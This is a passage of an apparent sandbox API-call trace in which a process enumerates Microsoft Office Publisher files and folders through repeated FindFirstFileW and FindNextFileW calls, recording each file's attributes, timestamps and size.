ftLastWriteTime.dwLowDateTime=0x246bb96e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0283.833] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2169a085, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2169a085, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x216c02db, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xca60, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB10.BDR", cAlternateFileName="")) returned 1 [0283.833] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x216c02db, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x216c02db, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x216c02db, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x69e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB11.BDR", cAlternateFileName="")) returned 1 [0283.833] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2169a085, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2169a085, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x216c02db, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf254, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB1A.BDR", cAlternateFileName="")) returned 1 [0283.833] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x246bb96e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x246bb96e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x246bb96e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3574, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB1B.BDR", cAlternateFileName="")) returned 1 [0283.833] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x216c02db, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x216c02db, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x216c02db, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc8f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB2A.BDR", cAlternateFileName="")) returned 1 [0283.833] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2169a085, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2169a085, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x216c02db, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB2B.BDR", cAlternateFileName="")) returned 1 [0283.833] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2169a085, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2169a085, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x216c02db, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xde58, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB3A.BDR", cAlternateFileName="")) returned 1 [0283.834] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2169a085, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2169a085, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x216c02db, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf4e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB3B.BDR", cAlternateFileName="")) returned 1 [0283.834] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2169a085, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2169a085, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x216c02db, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc144, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB4.BDR", cAlternateFileName="")) returned 1 [0283.834] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x216c02db, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x216c02db, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x216c02db, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xcfb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB5A.BDR", cAlternateFileName="")) returned 1 [0283.834] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x216c02db, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x216c02db, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x216c02db, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2476, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB5B.BDR", cAlternateFileName="")) returned 1 [0283.834] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x245d6b52, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x245d6b52, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x245fcdca, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7f46, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB6.BDR", cAlternateFileName="")) returned 1 [0283.834] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x233cee41, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x233cee41, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x233cee41, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x799a, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB7.BDR", cAlternateFileName="")) returned 1 [0283.834] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x22986bc2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x22986bc2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x22986bc2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe6aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB8.BDR", cAlternateFileName="")) returned 1 [0283.834] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x216c02db, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x216c02db, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x216c02db, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6bbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB9.BDR", cAlternateFileName="")) returned 1 [0283.834] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x216c02db, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x216c02db, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x216c02db, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6bbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB9.BDR", cAlternateFileName="")) returned 0 [0283.835] FindClose (in: hFindFile=0xb03148 | out: hFindFile=0xb03148) returned 1 [0283.836] GetProcessHeap () returned 0xaf0000 [0283.836] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36cc2b0 | out: hHeap=0xaf0000) returned 1 [0283.836] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddf70e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddf70e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2296098c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd0460, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="PUBCONV.DLL", cAlternateFileName="")) returned 1 [0283.836] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc7288ca, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcc7288ca, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcc7288ca, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xf658, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="PUBTRAP.DLL", cAlternateFileName="")) returned 1 [0283.836] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcc3bb225, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x241382dc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x241382dc, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="PUBWIZ", cAlternateFileName="")) returned 1 [0283.836] GetProcessHeap () returned 0xaf0000 [0283.836] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36cc2b0 [0283.836] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\*", lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcc3bb225, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x241382dc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x241382dc, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0283.838] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcc3bb225, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x241382dc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x241382dc, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0283.838] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x216c02db, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x216c02db, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x217f15bb, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2d9e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACCSBAR.POC", cAlternateFileName="")) returned 1 [0283.838] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x216c02db, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x216c02db, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x216c02db, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1cba, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACCTBOX.POC", cAlternateFileName="")) returned 1 [0283.838] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x218177f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x218177f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x218177f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5f09, dwReserved0=0x0, dwReserved1=0x0, cFileName="AD.DPV", cAlternateFileName="")) returned 1 [0283.838] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2183da4c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2183da4c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2183da4c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x40a, dwReserved0=0x0, dwReserved1=0x0, cFileName="AD.XML", cAlternateFileName="")) returned 1 [0283.839] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x217f15bb, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x217f15bb, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x218177f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb95a, dwReserved0=0x0, dwReserved1=0x0, cFileName="AD98.POC", cAlternateFileName="")) returned 1 [0283.839] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x217f15bb, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x217f15bb, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x218177f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x854, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADRESPEL.POC", cAlternateFileName="")) returned 1 [0283.839] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x218177f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x218177f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x218177f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x594c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AIR98.POC", cAlternateFileName="")) returned 1 [0283.840] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x218177f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x218177f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x218177f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa402, dwReserved0=0x0, dwReserved1=0x0, cFileName="AWARDHM.POC", cAlternateFileName="")) returned 1 [0283.840] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x217f15bb, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x217f15bb, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x217f15bb, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x91cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="BAN98.POC", cAlternateFileName="")) returned 1 [0283.840] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x217f15bb, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x217f15bb, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x218177f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd2e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="BANNER.DPV", cAlternateFileName="")) returned 1 [0283.840] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2183da4c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2183da4c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2183da4c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x236c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BANNER.XML", cAlternateFileName="")) returned 1 [0283.840] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x21863ca8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x21863ca8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x21863ca8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4d90, dwReserved0=0x0, dwReserved1=0x0, cFileName="BDRTKFUL.POC", cAlternateFileName="")) returned 1 [0283.840] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2183da4c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2183da4c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2183da4c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3f40c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIZCARD.DPV", cAlternateFileName="")) returned 1 [0283.840] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x218177f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x218177f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2183da4c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x31ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIZCARD.XML", cAlternateFileName="")) returned 1 [0283.840] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x218177f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x218177f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2183da4c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1b7ebe, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIZFORM.DPV", cAlternateFileName="")) returned 1 [0283.840] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x218177f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x218177f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x218177f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x10a46, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIZFORM.XML", cAlternateFileName="")) returned 1 [0283.841] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x218b0166, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x218b0166, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x218b0166, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf0ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="BORDERBB.DPV", cAlternateFileName="")) returned 1 [0283.841] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x218b0166, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x218b0166, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x218b0166, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4e42, dwReserved0=0x0, dwReserved1=0x0, cFileName="BORDERBB.POC", cAlternateFileName="")) returned 1 [0283.841] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x21863ca8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x21863ca8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x21863ca8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3f046, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRCH98SP.POC", cAlternateFileName="")) returned 1 [0283.841] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2183da4c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2183da4c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x218b0166, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x98f72, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRCHUR11.POC", cAlternateFileName="")) returned 1 [0283.841] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x218177f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x218177f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x218b0166, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x243f1a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRCHUR98.POC", cAlternateFileName="")) returned 1 [0283.841] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x21863ca8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x21863ca8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x21863ca8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa7190, dwReserved0=0x0, dwReserved1=0x0, cFileName="BROCHURE.DPV", cAlternateFileName="")) returned 1 [0283.841] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x21863ca8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x21863ca8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x21863ca8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x757a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BROCHURE.XML", cAlternateFileName="")) returned 1 [0283.841] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x21889f0d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x21889f0d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x21889f0d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa28, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS2BARB.POC", cAlternateFileName="")) returned 1 [0283.841] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x21889f0d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x21889f0d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x218b0166, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa26, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS4BOXES.POC", cAlternateFileName="")) returned 1 [0283.842] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: 